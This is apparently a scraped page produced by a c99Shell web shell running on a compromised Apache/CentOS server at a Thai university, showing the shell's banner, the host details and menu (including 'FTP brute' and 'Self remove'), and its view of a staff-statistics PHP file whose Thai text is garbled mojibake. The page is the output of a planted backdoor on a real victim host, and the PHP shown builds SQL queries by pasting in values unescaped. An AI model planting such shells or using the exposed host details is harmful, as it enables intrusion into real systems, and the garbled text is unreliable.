110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/ drwxr-xr-x Free 52.82 GB of 127.8 GB (41.33%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6
uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
uid=48(apache) gid=48(apache) groups=48(apache)
Safe-mode: OFF (not secure)
/var/www/html/manage/ drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
Viewing file: SumPesonal.php (80.54 KB) -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
execQuery($query);
		//$rs = $dbObj->fetchArray($result);
		$total = $dbObj->_numrows;

			$year1 = (date("Y")+543) - 5 ;
			$year2 = (date("Y")) - 10 ;
			$year3 = (date("Y")) - 15 ;
			$year4 = (date("Y")) - 20 ;

 ?>







ўйНБЩЕК¶Т№РєШ¤ЕТЎГ - <?=urldecode($topic);?>







  
    
    
     
      
        
      
      
        Л№йТЛЕСЎ » ўйНБЩЕК¶Т№РєШ¤ЕТЎГ » ўйНБЩЕКГШ»К¶Т№РєШ¤ЕТЎГ
         
      
      
        
          
             ‹ ВйН№ЎЕСє
          
          
            БФµФг№ЎТГґЩЎГТїбКґ§јЕ
              
                 
              
          
          
             
          
          
            
              ";
                
                    // Fetch all factory records
                    $strQuery = " SELECT *  FROM  personal_tb    GROUP BY  Faculty_code ";	
                    $result111 = $dbObj->execQuery($strQuery);
                
                    //Iterate through each factory
                    if ($result111) {
                        while( $rs111 = $dbObj->fetchArray($result111) ) {
							
							$query112 = " SELECT *  FROM faculty_tb  WHERE Faculty_code='$rs111[Faculty_code]' ";
							$result112 = $dbObj->execQuery($query112);
							$rs112 = $dbObj->fetchArray($result112);
                      
                             $strQuery3 = " SELECT *  FROM   personal_tb  WHERE  StatusId='1'  AND  Faculty_code='$rs111[Faculty_code]'   ";
                            $result3 = $dbObj->execQuery($strQuery3);
                            $numAmt3 = $dbObj->_numrows;
							$dbObj->freeresult($result3);
                            
                            $strXML .= "";
                        
                        } # while
                    } # if
                
                    //Finally, close  element
                    $strXML .= "";
                
                    //Create the chart - Pie 3D Chart with data from strXML
                    echo renderChart("./charts/Pie3D.swf", "", $strXML, "", 750, 375, false, false);
              ?>
              
              ";
                
				 $strQ = " SELECT *  FROM  degree_tb";	
                 $res = $dbObj->execQuery($strQ);
				 $c = mysql_num_rows($res);
				
				   while( $rs0 = $dbObj->fetchArray($res) ) {
				   		$dc = $rs0['Degree_code'];
				   		if ($dc != 4 ){	
										
					 $sql = " SELECT COUNT(Degree_code) AS num  FROM personal_tb  WHERE  StatusId='1'  AND  Degree_code='$dc'    and   ( Person_type='1'  Or  Person_type='2'   Or  Person_type='3'  Or  Person_type='4'  Or   Person_type='5' Or   Person_type='6' )  ";
							$result = $dbObj->execQuery($sql);
							$rs = $dbObj->fetchArray($result);
							
					
					$sql1 = " SELECT COUNT(Teacher_code) AS num5  FROM personal_tb  WHERE  StatusId='1'    and ( Person_type='1'  Or  Person_type='2'   Or  Person_type='3'  Or  Person_type='4'  Or   Person_type='5' Or   Person_type='6' ) ";
					$result1 = $dbObj->execQuery($sql1);
					$rs1 = $dbObj->fetchArray($result1);
					echo $num5 ;
							$per = ( $rs['num'] * 100 ) / $rs1['num5'];
								 $p = number_format($per,2,'.','.');
								 $strXML .= "";
						}
 					}
					
                    //Finally, close  element
                    $strXML .= "";
                
                    //Create the chart - Pie 3D Chart with data from strXML
                    echo renderChart("charts/Column3D.swf", "", $strXML, "",550, 375, false, false);
              ?>
              
              ";
                
					 $strQ = " SELECT *  FROM  person_type_tb ";	
					 $res = $dbObj->execQuery($strQ);
					 $c = mysql_num_rows($res);
					 while( $rs0 = $dbObj->fetchArray($res) ) {
				   	$dc = $rs0['Ptype_code'];
				   		if ($dc !=0 ){	
								$sql = " SELECT COUNT(Teacher_code) AS num  FROM personal_tb  WHERE   ( StatusId='1'  Or  StatusId ='3' ) and   Person_type=$dc  and   ( Person_type='1'  Or  Person_type='2'   Or  Person_type='3'  Or  Person_type='4'  Or   Person_type='5' Or   Person_type='6' )  ";
								$result = $dbObj->execQuery($sql);
								$rs = $dbObj->fetchArray($result);
								$sql2 = " SELECT COUNT(Teacher_code) AS sum  FROM personal_tb  WHERE  ( StatusId='1'  Or  StatusId ='3' ) and  ( Person_type='1'  Or  Person_type='2'   Or  Person_type='3'  Or  Person_type='4'  Or  Person_type='5') ";
					           $result2 = $dbObj->execQuery($sql2);
					           $rs2 = $dbObj->fetchArray($result2);
								
								$per = ( $rs['num'] * 100 ) / $rs2['sum'];
									 $p = number_format($per,2,'.','.');
									 $strXML .= "";
 							}
 					}

                    //Finally, close  element
                    $strXML .= "";
             
                    //Create the chart - Pie 3D Chart with data from strXML
                    echo renderChart("charts/Column3D.swf", "", $strXML, "",650, 375, false, false);
              ?>
              
              ";
                
					 $strQ = " SELECT *  FROM  teacher_type_tb   Where  Flag ='Y'  ";	
					 $res = $dbObj->execQuery($strQ);
					 $c = mysql_num_rows($res);
					 while( $rs0 = $dbObj->fetchArray($res) ) {
				   	$dc = $rs0['Ttype_code'];
				   		if ($dc !=0 ){	
								$sql = " SELECT COUNT(Teacher_code) AS num  FROM  personal_tb pt, teacher_type_tb tt    WHERE    pt.Teacher_type=$dc   and   pt.Teacher_type=tt.Ttype_code  and  tt.Flag='Y' and  (pt.StatusId='1'  Or  pt.StatusId='3')  ";
								$result = $dbObj->execQuery($sql);
								$rs = $dbObj->fetchArray($result);
								
								$sql2 = " SELECT COUNT(Teacher_code) AS sum  FROM personal_tb pt, teacher_type_tb tt   WHERE  pt.Teacher_type=tt.Ttype_code  and  tt.Flag='Y' and   (pt.StatusId='1'  Or  pt.StatusId='3') ";
					           $result2 = $dbObj->execQuery($sql2);
					           $rs2 = $dbObj->fetchArray($result2);
								
								$per = ( $rs['num'] * 100 ) / $rs2['sum'];
									 $p = number_format($per,2,'.','.');
									 $strXML .= "";
 							}
 					}
                    //Finally, close  element
                    $strXML .= "";
                
                    //Create the chart - Pie 3D Chart with data from strXML
                    echo renderChart("charts/Column2D.swf", "", $strXML, "",600, 375, false, false);
              ?>
              
              ";
                
                    // Fetch all factory records
                       $strQuery = "SELECT * FROM  dev_clevelpos  dc,  dev_hrperson dh    Where     dc.levelcode =dh.levelcode   Group  By  dh.levelcode  ";
					   $result1 = mysql_query($strQuery);
                
                    //Iterate through each factory
                    if ($result1) {
                        while( $rs1 = mysql_fetch_array($result1) ) {
                            $error_id = $rs1['id'];
                        
                            $strQuery = " SELECT COUNT(dh.levelcode) AS sum  FROM dev_clevelpos  dc,  dev_hrperson dh   Where   dh.levelcode='$rs1[levelcode]' and  dc.levelcode =dh.levelcode  and  (dh.statusId='1'  Or dh.statusId='3' ) ";
                            $result3 = $dbObj->execQuery($strQuery);
					         $rs3 = $dbObj->fetchArray($result3);
                            
                            $strXML .= "";
                        
                        } # while
                    } # if
                
                    //Finally, close  element
                    $strXML .= "";
                
                    //Create the chart - Pie 3D Chart with data from strXML
                    echo renderChart("./charts/Pie3D.swf", "", $strXML, "", 750, 375, false, false);
              ?>
              
              ";
                
                   // Fetch all factory records
                    $strQuery = " SELECT *  FROM  teacher_type_tb   Where  Flag ='Y'   ";	
                    $result1 = mysql_query($strQuery);
                
                    //Iterate through each factory
                    if( $result1 ) {
                        while( $rs1 = mysql_fetch_array($result1) ) {
                            $Ttype_name = $rs1['Ttype_name'];
                        
                            $strQuery2 = " SELECT *  FROM personal_tb  WHERE  (StatusId='1'  Or StatusId='3' )   and  Teacher_type='$rs1[Ttype_code]' and  Degree_code='1'  and  ( Person_type='1'  Or  Person_type='2'   Or  Person_type='3'  Or  Person_type='4'  Or   Person_type='5' Or   Person_type='6' )  and  Sex ='ЄТВ' ";
                            $result2 = mysql_query($strQuery2);
                            $numAmt2 = mysql_num_rows($result2);
							mysql_free_result($result2);
							
							$strQuery3 = " SELECT *  FROM  $myTable  WHERE  (StatusId='1'  Or StatusId='3' )   and  Teacher_type='$rs1[Ttype_code]' and  Degree_code='1'  and  ( Person_type='1'  Or  Person_type='2'   Or  Person_type='3'  Or  Person_type='4'  Or   Person_type='5' Or   Person_type='6' )  and  Sex ='ЛФ§' ";
                            $result3 = mysql_query($strQuery3);
                            $numAmt3 = mysql_num_rows($result3);
							mysql_free_result($result3);
                            
                            $strXML .= "";
							$strXML .= "";
                        
                        } # while
                    } # if
					mysql_free_result($result1);
                
                    //Finally, close  element
                    $strXML .= "";
                
                    //Create the chart - Pie 3D Chart with data from strXML
                    echo renderChart("./charts/Pie3D.swf", "", $strXML, "", 750, 375, false, false);
              ?>
            
                            
              ";
                
                    // Fetch all factory records
                       $strQuery = "SELECT * FROM  dev_clevelpos  dc,  dev_hrperson dh    Where     dc.levelcode =dh.levelcode   Group  By  dh.levelcode  ";
					   $result1 = mysql_query($strQuery);
                
                    //Iterate through each factory
                    if ($result1) {
                        while( $rs1 = mysql_fetch_array($result1) ) {
                            $error_id = $rs1['id'];
                        
                            $strQuery = " SELECT COUNT(dh.levelcode) AS sum  FROM dev_clevelpos  dc,  dev_hrperson dh   Where   dh.levelcode='$rs1[levelcode]' and  dc.levelcode =dh.levelcode  and  (dh.statusId='1'  Or dh.statusId='3' ) ";
                            $result3 = $dbObj->execQuery($strQuery);
					         $rs3 = $dbObj->fetchArray($result3);
                            
                            $strXML .= "";
                        
                        } # while
                    } # if
                
                    //Finally, close  element
                    $strXML .= "";
                
                    //Create the chart - Pie 3D Chart with data from strXML
                    echo renderChart("./charts/Pie3D.swf", "", $strXML, "", 750, 375, false, false);
              ?>
              
          
          
      
      
         
      
      
         ЁУ№З№»ГРаА·єШ¤ЕТЎГ»ГРЁУ·ХиБХЗШІФЎТГИЦЎЙТКЩ§КШґ       бј№АЩБФбКґ§ЗШІФЎТТГИЦЎЙТ
      
      
         
      
      
        execQuery($sql); 
               $no = 1+($display-1)*$limit;
           while( $rss13 = $dbObj->fetchArray($result19) ) { 
				$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF";
          ?>
          
          
            No
            ГТВЎТГ 
            »ГФТµГХ
            »ГФТв·
            »ГФТаНЎ
            ЁУ№З№
            
          
            
            
              
            
              execQuery($sql);
					$rs11 = $dbObj->fetchArray($result11);
					$dbObj->freeresult($result11);
						echo $rs11['num'];
			    ?>
            
            
              execQuery($sql);
					$rs12 = $dbObj->fetchArray($result12);
					$dbObj->freeresult($result12);
						echo $rs12['num'];
			    ?>
            
            
              execQuery($sql);
					$rs13 = $dbObj->fetchArray($result13);
						echo $rs13['num'];
			    ?>
            
            
            
          
          
            КГШ»
            
              execQuery($sql);
					$rs5 = $dbObj->fetchArray($result1);
					$dbObj->freeresult($result7);
						echo $rs5['num5'];
			    ?>
            execQuery($sql);
					$rs6 = $dbObj->fetchArray($result1);
					$dbObj->freeresult($result7);
						echo $rs6['num6'];
			    ?>
            execQuery($sql);
					$rs7 = $dbObj->fetchArray($result1);
					$dbObj->freeresult($result7);
						echo $rs7['num7'];
			    ?>
            
            
          
            КСґКиЗ№
            execQuery($sql);
				$rss = $dbObj->fetchArray($result3);
				 $sql = " SELECT COUNT(Teacher_type) AS sum  FROM personal_tb  WHERE  (StatusId='1'  Or StatusId='3' ) and  Degree_code='1'  and  ( Person_type='1'  Or  Person_type='2'   Or  Person_type='3'  Or  Person_type='4'  Or   Person_type='5' Or   Person_type='6' ) ";
					$result2 = $dbObj->execQuery($sql);
					$rs2 = $dbObj->fetchArray($result2);
					
					$per2= ( $rs2['sum'] * 100 ) / $rss['num'] ;
							echo number_format($per2,'2','.','')." %"; 
			    ?> 
            execQuery($sql);
				$rss = $dbObj->fetchArray($result3);
				    $sql = " SELECT COUNT(Teacher_type) AS sum  FROM personal_tb  WHERE  (StatusId='1'  Or StatusId='3' ) and  Degree_code='2'  and  ( Person_type='1'  Or  Person_type='2'   Or  Person_type='3'  Or  Person_type='4'  Or   Person_type='5' Or   Person_type='6' ) ";
					$result2 = $dbObj->execQuery($sql);
					$rs2 = $dbObj->fetchArray($result2);
					
					$per2= ( $rs2['sum'] * 100 ) / $rss['num'] ;
						echo number_format($per2,'2','.','')." %"; 
			    ?>
            execQuery($sql);
				$rss = $dbObj->fetchArray($result3);
				    $sql = " SELECT COUNT(Teacher_type) AS sum  FROM personal_tb  WHERE  (StatusId='1'  Or StatusId='3' ) and  Degree_code='3'  and  ( Person_type='1'  Or  Person_type='2'   Or  Person_type='3'  Or  Person_type='4'  Or   Person_type='5' Or   Person_type='6' ) ";
					$result2 = $dbObj->execQuery($sql);
					$rs2 = $dbObj->fetchArray($result2);
					
					$per2= ( $rs2['sum'] * 100 ) / $rss['num'] ;
						echo number_format($per2,'2','.','')." %"; 
			    ?> 
            100 %
            
        
      
      
         
      
      
         ЁУ№З№КТВ§Т№єШ¤ЕТЎГ»ГРЁУ·ХиБХЗШІФЎТГИЦЎЙТКЩ§КШґ
      
      
         
      
      
        execQuery($sql); 
               $no = 1+($display-1)*$limit;
           while( $rss4 = $dbObj->fetchArray($result8) ) { 
				$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF";
          ?>
          
          
            No
            ГТВЎТГ 
            »ГФТµГХ
            »ГФТв·
            »ГФТаНЎ
            ЁУ№З№
          
          
            
            
              
            
              execQuery($sql);
					$rs21 = $dbObj->fetchArray($result21);
					echo $rs21['num'];
			    ?>
            
            
              execQuery($sql);
					$rs22 = $dbObj->fetchArray($result22);
					echo $rs22['num'];
			    ?>
            
            
              execQuery($sql);
					$rs23 = $dbObj->fetchArray($result23);
					echo $rs23['num'];
			    ?>
            
            
            
          
          
            КГШ»
            execQuery($sql);
					$rs1 = $dbObj->fetchArray($result1);
								echo $rs1['num5'];
			    ?>
            execQuery($sql);
					$rs2 = $dbObj->fetchArray($result2);
								echo $rs2['num5'];
			    ?>
            execQuery($sql);
					$rs3 = $dbObj->fetchArray($result3);
								echo $rs3['num5'];
			    ?>
            
          
        
      
      
         
      
      
         ЁУ№З№єШ¤ЕТЎГ»ГРЁУбВЎµТБаѕИ
      
      
         
      
      
        execQuery($sql); 
               $no = 1+($display-1)*$limit;
           while( $rss4 = $dbObj->fetchArray($result8) ) { 
				$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF";
          ?>
          
          
            No
            ГТВЎТГ 
            ЄТВ
            ЛФ§
            ЁУ№З№
            КСґКиЗ№
          
          
            
            
              
            execQuery($sql);
					$rs21 = $dbObj->fetchArray($result21);
					echo $rs21['num'];
			    ?>
              
            execQuery($sql);
					$rs22 = $dbObj->fetchArray($result22);
					echo $rs22['num'];
			    ?>              
            
            execQuery($sql);
				$rss = $dbObj->fetchArray($result3);			
				 $sql = " SELECT COUNT(Teacher_type) AS num  FROM personal_tb    WHERE   (StatusId='1'  Or StatusId='3' )  and  ( Sex ='ЄТВ'  Or Sex ='ЛФ§' )  and  (Person_type='1'  Or  Person_type='2'   Or  Person_type='3'  Or  Person_type='4'  Or   Person_type='5' Or   Person_type='6' )   ";
					$result2 = $dbObj->execQuery($sql);
					$rss2 = $dbObj->fetchArray($result2);
					
					$per2= ( $rss['num'] * 100 ) / $rss2['num']  ;
						echo number_format($per2,'2','.','')." %"; 
			    ?>
            
          
          
            КГШ»
            execQuery($sql);
					$rs1 = $dbObj->fetchArray($result1);
								echo $rs1['num5'];
			    ?>
            execQuery($sql);
					$rs2 = $dbObj->fetchArray($result2);
								echo $rs2['num5'];
			    ?>
            
            100%
          
          
            КСґКиЗ№аѕИЄТВЛФ§
            execQuery($sql);
				$rss = $dbObj->fetchArray($result3);
				 $sql = " SELECT COUNT(Teacher_type) AS sum  FROM personal_tb  WHERE  (StatusId='1'  Or StatusId='3' ) and  Sex ='ЄТВ'  and  (  Person_type='1'  Or  Person_type='2'   Or  Person_type='3'  Or  Person_type='4'  Or Person_type='5' Or  Person_type='6' ) ";
					$result2 = $dbObj->execQuery($sql);
					$rs2 = $dbObj->fetchArray($result2);
					
					$per2= ( $rs2['sum'] * 100 ) / $rss['num'] ;
						echo number_format($per2,'2','.','')." %"; 
			    ?> 
            execQuery($sql);
				$rss = $dbObj->fetchArray($result3);
				 $sql = " SELECT COUNT(Teacher_type) AS sum  FROM personal_tb  WHERE  (StatusId='1'  Or StatusId='3' ) and  Sex ='ЛФ§'  and  (  Person_type='1'  Or  Person_type='2'   Or  Person_type='3'  Or  Person_type='4'  Or   Person_type='5'  Or   Person_type='6' ) ";
					$result2 = $dbObj->execQuery($sql);
					$rs2 = $dbObj->fetchArray($result2);
					
					$per2= ( $rs2['sum'] * 100 ) / $rss['num'] ;
							echo number_format($per2,'2','.','')." %"; 
			    ?> 
             
            
        
      
      
         
      
      
         ЁУ№З№»ГРаА·єШ¤ЕТЎГ»ГРЁУ·Хии»ЇФєСµФ§Т№бЕРЕТИЦЎЙТµиН        бј№АЩБФКТГК№а·И»ГРаА·єШ¤ЕТЎГ
      
      
         
      
      
        execQuery($sql); 
               $no = 1+($display-1)*$limit;
           while( $rss3 = $dbObj->fetchArray($result9) ) { 
				$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF";
          ?>
          
          
            No
            ГТВЎТГ 
            »ЇФєСµФ§Т№
            ЕТИЦЎЙТ
            ЁУ№З№
            КСґКиЗ№
            д»ЄиЗВГТЄЎТГ
            ЁУ№З№
          
          
            
            
              
            
              execQuery($sql);
					$rs1 = $dbObj->fetchArray($result1);
					$dbObj->freeresult($result7);
						echo $rs1['num1'];
			    ?>
              
            
              execQuery($sql);
					$rs2 = $dbObj->fetchArray($result2);
					$dbObj->freeresult($result7);
						echo $rs2['num2'];
			    ?>
              
            
            execQuery($sql);
					$rss1 = $dbObj->fetchArray($result1);
					$dbObj->freeresult($result7);
				    $sql = " SELECT COUNT(Teacher_type) AS sum  FROM personal_tb  WHERE    Person_type='$rss3[Ptype_code]'  and  ( StatusId='1'  Or  StatusId ='3' ) and  (  Person_type='1'  Or  Person_type='2'   Or  Person_type='3'  Or  Person_type='4'  Or   Person_type='5' Or   Person_type='6' ) ";
					$result2 = $dbObj->execQuery($sql);
					$rss2 = $dbObj->fetchArray($result2);
					
					$per2= ( $rss2['sum'] * 100 ) / $rss1['num5'] ;
							echo number_format($per2,'2','.','')." %"; 
			    ?> 
            
              execQuery($sql);
					$rs3 = $dbObj->fetchArray($result3);
					$dbObj->freeresult($result7);
						echo $rs3['num3'];
			    ?>
              
            
              
            
            
          
          
            КГШ»
            execQuery($sql);
					$rs1 = $dbObj->fetchArray($result1);
					$dbObj->freeresult($result7);
						echo $rs1['num1'];
			    ?>
              
            execQuery($sql);
					$rs2 = $dbObj->fetchArray($result1);
					$dbObj->freeresult($result7);
						echo $rs2['num1'];
			    ?>
            execQuery($sql);
					$rs3 = $dbObj->fetchArray($result1);
					$dbObj->freeresult($result7);
						echo $rs3['num'];
			    ?>
            100%
            execQuery($sql);
					$rs6 = $dbObj->fetchArray($result1);
					$dbObj->freeresult($result7);
						echo $rs6['num6'];
			    ?>
            
          
        
      
      
         
      
      
         ЁУ№З№КТВ§Т№єШ¤ЕТЎГ·Хии»ЇФєСµФ§Т№бЕРЕТИЦЎЙТµиН        бј№АЩБФКТГК№а·ИбКґ§КТВ§Т№ўН§єШ¤ЕТЎГ
      
      
         
      
      
        execQuery($sql); 
               $no = 1+($display-1)*$limit;
           while( $rss4 = $dbObj->fetchArray($result8) ) { 
				$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF";
          ?>
          
          
            No
            ГТВЎТГ 
            »ЇФєСµФ§Т№
            ЕТИЦЎЙТ
            ЁУ№З№
            КСґКиЗ№
            д»ЄиЗВГТЄЎТГ
            ЁУ№З№
          
          
            
            
              
            
              execQuery($sql);
					$rs11 = $dbObj->fetchArray($result11);
					$dbObj->freeresult($result11);
						echo $rs11['num'];
			    ?>
            
            
              execQuery($sql);
					$rs12 = $dbObj->fetchArray($result12);
					$dbObj->freeresult($result12);
						echo $rs12['num'];
			    ?>
            
            
            execQuery($sql);
					$rss1 = $dbObj->fetchArray($result1);
					$dbObj->freeresult($result7);
				    $sql = " SELECT COUNT(Teacher_type) AS sum  FROM personal_tb pt, teacher_type_tb tt  WHERE  pt.Teacher_type=tt.Ttype_code  and tt.Flag='Y'  and  pt.Teacher_type='$rss4[Ttype_code]'  and  ( pt.StatusId='1'  Or  pt.StatusId ='3' ) and  (  pt.Person_type='1'  Or  pt.Person_type='2'   Or  pt.Person_type='3'  Or  pt.Person_type='4'  Or   pt.Person_type='5'  Or   pt.Person_type='6' ) ";
					$result2 = $dbObj->execQuery($sql);
					$rss2 = $dbObj->fetchArray($result2);
					
					$per2= ( $rss2['sum'] * 100 ) / $rss1['num5'] ;
							echo number_format($per2,'2','.','')." %"; 
			    ?> 
            
              execQuery($sql);
					$rs13 = $dbObj->fetchArray($result13);
					$dbObj->freeresult($result13);
						echo $rs13['num'];
			    ?>
              
            
            
          
          
            КГШ»
            execQuery($sql);
					$rs5 = $dbObj->fetchArray($result1);
								echo $rs5['num5'];
			    ?>
            execQuery($sql);
					$rs6 = $dbObj->fetchArray($result1);
								echo $rs6['num6'];
			    ?>
            
            100%
            execQuery($sql);
					$rs7= $dbObj->fetchArray($result6);
								echo $rs7['num7'];
			    ?>
            
          
        
      
      
                
      
      
         
      
      
         ЁУ№З№»ГРаА·КТВ§Т№ЗФЄТЎТГўН§ўйТГТЄЎТГ·Хии»ЇФєСµФ§Т№бЕРЕТИЦЎЙТµиН   
      
      
         
      
      
        execQuery($sql); 
               $no = 1+($display-1)*$limit;
           while( $rs5 = $dbObj->fetchArray($result5) ) { 
				$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF";
          ?>
          
          
            No
            ГТВЎТГ 
            »ЇФєСµФ§Т№
            ЕТИЦЎЙТ
            ЁУ№З№
            КСґКиЗ№
            д»ЄиЗВГТЄЎТГ
            ЁУ№З№
          
          
            
            
              
            execQuery($sql);
					$rs1 = $dbObj->fetchArray($result1);
					$dbObj->freeresult($result7);
						echo $rs1['num1'];
			    ?>
              
            execQuery($sql);
					$rs3 = $dbObj->fetchArray($result3);
					$dbObj->freeresult($result7);
						echo $rs3['num2'];
			    ?>
              
            
            execQuery($sql);
					$rs2 = $dbObj->fetchArray($result2);
					$per2= ( $rs1['num1'] * 100 ) / $rs2['sum'] ;
					echo number_format($per2,'2','.','')." %"; 
			    ?>
            execQuery($sql);
					$rs4 = $dbObj->fetchArray($result4);
					$dbObj->freeresult($result7);
						echo $rs4['num3'];
			    ?>
              
            
              
            
          
          
            КГШ»
            execQuery($sql);
					$rs4 = $dbObj->fetchArray($result4);
					$dbObj->freeresult($result4);
						echo $rs4['num4'];
			    ?>
              
            execQuery($sql);
					$rs5 = $dbObj->fetchArray($result5);
					echo $rs5['num5'];
			    ?>
            
            100%
            execQuery($sql);
					$rs7 = $dbObj->fetchArray($result7);
					$dbObj->freeresult($result7);
						echo $rs7['num7'];
			    ?>
            
          
        
      
      
         
      
      
         ЁУ№З№ЄиЗ§НТВШГТЄЎТГµТБ»ГРаА·КТВ§Т№ЗФЄТЎТГўН§ўйТГТЄЎТГ
      
      
         
      
      
        execQuery($sql); 
               $no = 1+($display-1)*$limit;
           while( $rs5 = $dbObj->fetchArray($result5) ) { 
				$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF";
				
			   ?>
          
          
            No
            ГТВЎТГ 
            1-5 »Х
            6-10 »Х 
            11-15 »Х 
            16-20 »Х 
             20 »Х ўЦй№д»
            
          
            
            
              
            = '".$year2."-00-00'  and  dh.appointdate <=  '".$year4."-00-00' "; 
					//$sql = " SELECT COUNT(dh.levelcode) AS num1  FROM dev_clevelpos  dc,  dev_hrperson dh   Where   dc.levelcode =dh.levelcode  and  (dh.statusId='1' Or dh.statusId='3' )   and  dh.levelcode='$rs5[levelcode]'  and   datediff('".((date('Y')).date('-m-d'))."',dh.appointdate) <=1825";
					$sql = "SELECT count(*) as num1 FROM dev_hrperson dh, dev_clevelpos dc WHERE dh.levelcode='$rs5[levelcode]' AND dc.levelcode = dh.levelcode AND dh.fperson = 1 AND (dh.statusId = 1 OR dh.statusId = 3) AND dh.appointdate != '0000-00-00' AND (dh.appointdate >= date_add(curdate(), interval -5 year) OR (dh.appointdate < date_add(curdate(), interval -5 year) AND dh.appointdate > date_add(curdate(), interval -6 year)))";

					$result1 = $dbObj->execQuery($sql);
					$rs1 = $dbObj->fetchArray($result1);
					$dbObj->freeresult($result7);
						echo $rs1['num1'];
					   // echo (date('Y')+543) + (5 - ((date('Y')+543) - substr($rs5['appointdate'],0,4))); 
			    ?>
              
            = date_add(curdate(), interval -10 year)) OR (dh.appointdate < date_add(curdate(), interval -10 year) AND dh.appointdate > date_add(curdate(), interval -11 year)))";

					$result1 = $dbObj->execQuery($sql);
					$rs1 = $dbObj->fetchArray($result1);
					$dbObj->freeresult($result7);
						echo $rs1['num1'];
			    ?>              
            = date_add(curdate(), interval -15 year)) OR (dh.appointdate < date_add(curdate(), interval -15 year) AND dh.appointdate > date_add(curdate(), interval -16 year)))";

					$result1 = $dbObj->execQuery($sql);
					$rs1 = $dbObj->fetchArray($result1);
					$dbObj->freeresult($result7);
						echo $rs1['num1'];
			    ?>
            = date_add(curdate(), interval -20 year))";
					
					$result1 = $dbObj->execQuery($sql);
					$rs1 = $dbObj->fetchArray($result1);
					$dbObj->freeresult($result7);
						echo $rs1['num1'];
			    ?>
            =7300   ";					
					$sql = "SELECT count(*) as num1 FROM dev_hrperson dh, dev_clevelpos dc WHERE dh.levelcode='$rs5[levelcode]' AND dc.levelcode = dh.levelcode AND dh.fperson = 1 AND (dh.statusId = 1 OR dh.statusId = 3) AND dh.appointdate != '0000-00-00' AND dh.appointdate < date_add(curdate(), interval -20 year)";
					
					$result1 = $dbObj->execQuery($sql);
					$rs1 = $dbObj->fetchArray($result1);
					$dbObj->freeresult($result7);
						echo $rs1['num1'];
			    ?>              
            
          
          
            КГШ»
            =2015 ";					
					$sql = "SELECT count(*) as num4 FROM dev_hrperson dh, dev_clevelpos dc WHERE dc.levelcode = dh.levelcode AND dh.fperson = 1 AND (dh.statusId = 1 OR dh.statusId = 3) AND dh.appointdate != '0000-00-00' AND (dh.appointdate >= date_add(curdate(), interval -5 year) OR (dh.appointdate < date_add(curdate(), interval -5 year) AND dh.appointdate > date_add(curdate(), interval -6 year)))";
					
					$result4 = $dbObj->execQuery($sql);
					$rs4 = $dbObj->fetchArray($result4);
					$dbObj->freeresult($result4);
						echo $rs4['num4'];
			    ?>
              
            =3650  ";					
					$sql = "SELECT count(*) as num5 FROM dev_hrperson dh, dev_clevelpos dc WHERE dc.levelcode = dh.levelcode AND dh.fperson = 1 AND ((appointdate <= date_add(curdate(), interval -6 year) AND dh.appointdate != '0000-00-00' AND dh.appointdate >= date_add(curdate(), interval -10 year)) OR (dh.appointdate < date_add(curdate(), interval -10 year) AND dh.appointdate > date_add(curdate(), interval -11 year)))";
					
					$result5 = $dbObj->execQuery($sql);
					$rs5 = $dbObj->fetchArray($result5);
					echo $rs5['num5'];
			    ?>
            =5475  ";
					$sql = "SELECT count(*) as num5 FROM dev_hrperson dh, dev_clevelpos dc WHERE dc.levelcode = dh.levelcode AND dh.fperson = 1 AND (dh.statusId = 1 OR dh.statusId = 3) AND dh.appointdate != '0000-00-00' AND ((appointdate <= date_add(curdate(), interval -11 year) AND dh.appointdate >= date_add(curdate(), interval -15 year)) OR (dh.appointdate < date_add(curdate(), interval -15 year) AND dh.appointdate > date_add(curdate(), interval -16 year)))";

					$result5 = $dbObj->execQuery($sql);
					$rs5 = $dbObj->fetchArray($result5);
					echo $rs5['num5'];
			    ?>
            = date_add(curdate(), interval -20 year))";

					$result5 = $dbObj->execQuery($sql);
					$rs5 = $dbObj->fetchArray($result5);
					echo $rs5['num5'];
			    ?>
            =7300  ";
					$sql = "SELECT count(*) as num5 FROM dev_hrperson dh, dev_clevelpos dc WHERE dc.levelcode = dh.levelcode AND dh.fperson = 1 AND (dh.statusId = 1 OR dh.statusId = 3) AND dh.appointdate != '0000-00-00' AND dh.appointdate < date_add(curdate(), interval -20 year)";

					$result5 = $dbObj->execQuery($sql);
					$rs5 = $dbObj->fetchArray($result5);
					echo $rs5['num5'];
			    ?>
            
        
      
      
         
      
      
         »ГРаА·єШ¤ЕТЎГ»ГРЁУ·ХиБХЎТГѕСІ№ТµТБКГГ¶№РЛЕСЎўН§ Ўѕ.
        аЕЧНЎ»Х§є»ГРБТі
          
      
      
         
      
	  
        execQuery($sql); 
               $no = 1+($display-1)*$limit;
           while( $rss13 = $dbObj->fetchArray($result9) ) { 
				$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF";
          ?>
          
          
            No
            ГТВЎТГ 
            ЎТГБШи§јЕ

              КСБД·ёФм 
            ЎТГєГФЎТГ·ХиґХ 
            ЎТГКСи§КБ¤ЗТБ

              аЄХиВЗЄТг№§Т№НТЄХѕ
